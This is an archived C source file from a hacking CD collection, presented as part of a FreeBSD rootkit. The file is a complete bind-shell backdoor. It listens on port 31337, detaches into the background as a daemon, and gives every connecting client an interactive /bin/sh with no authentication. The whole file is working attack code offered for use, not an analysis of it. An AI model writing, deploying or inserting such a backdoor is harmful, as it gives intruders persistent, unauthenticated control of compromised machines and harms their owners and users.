home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / bindshell.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  1.4 KB  |  68 lines

  1. /* quick thingy... bind a shell to a socket... defaults to port 31337 */
  2. /* code by pluvius@****** (address removed to protect the innocent :) */
  3. /* don't forget.. when you connect to the port.. commands are like:   */
  4. /* "ls -l;" or "exit;" (don't forget the ';')                         */
  5.  
  6. /* cleaned up for the FreeBSD rootkit */
  7.  
  8. #include <stdio.h>
  9. #include <signal.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13.  
  14. #include "rootkitutil.h"
  15.  
  16. #define PORT    31337
  17.  
  18. main(int argc, char **argv) 
  19. {
  20.     int soc_des,soc_cli,soc_rc,soc_len,server_pid,cli_pid;
  21.     struct sockaddr_in serv_addr,client_addr;
  22.  
  23.     BASENAME(argv[0])
  24.  
  25.     if((soc_des=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))<0)
  26.         ERR("socket")
  27.  
  28.     memset(&serv_addr,0x00,sizeof(serv_addr));
  29.     serv_addr.sin_family=AF_INET; 
  30.     serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
  31.     serv_addr.sin_port=htons(PORT);
  32.  
  33.     if((soc_rc=bind(soc_des,(struct sockaddr *)&serv_addr,sizeof(serv_addr)))<0)
  34.         ERR("bind")
  35.  
  36.     if(fork()!=0) 
  37.         exit(0);
  38.  
  39.     setpgrp();  
  40.     signal(SIGHUP, SIG_IGN); 
  41.  
  42.     if(fork()!=0) 
  43.         exit(0); 
  44.  
  45.     if((soc_rc=listen(soc_des, 5))!=0)
  46.         ERR("listen")
  47.  
  48.     for(;;) {
  49.         soc_len=sizeof(client_addr);
  50.         if((soc_cli=accept(soc_des, (struct sockaddr *)&client_addr, &soc_len))<0)
  51.             ERR("accept")
  52.  
  53.         cli_pid=getpid(); 
  54.         server_pid=fork(); 
  55.  
  56.         if(server_pid!=0) {
  57.             dup2(soc_cli,0); 
  58.             dup2(soc_cli,1); 
  59.             dup2(soc_cli,2);
  60.             execl("/bin/sh","sh","-i",0); 
  61.             close(soc_cli); 
  62.             exit(0); 
  63.         } 
  64.  
  65.         close(soc_cli);
  66.     }
  67. }
  68.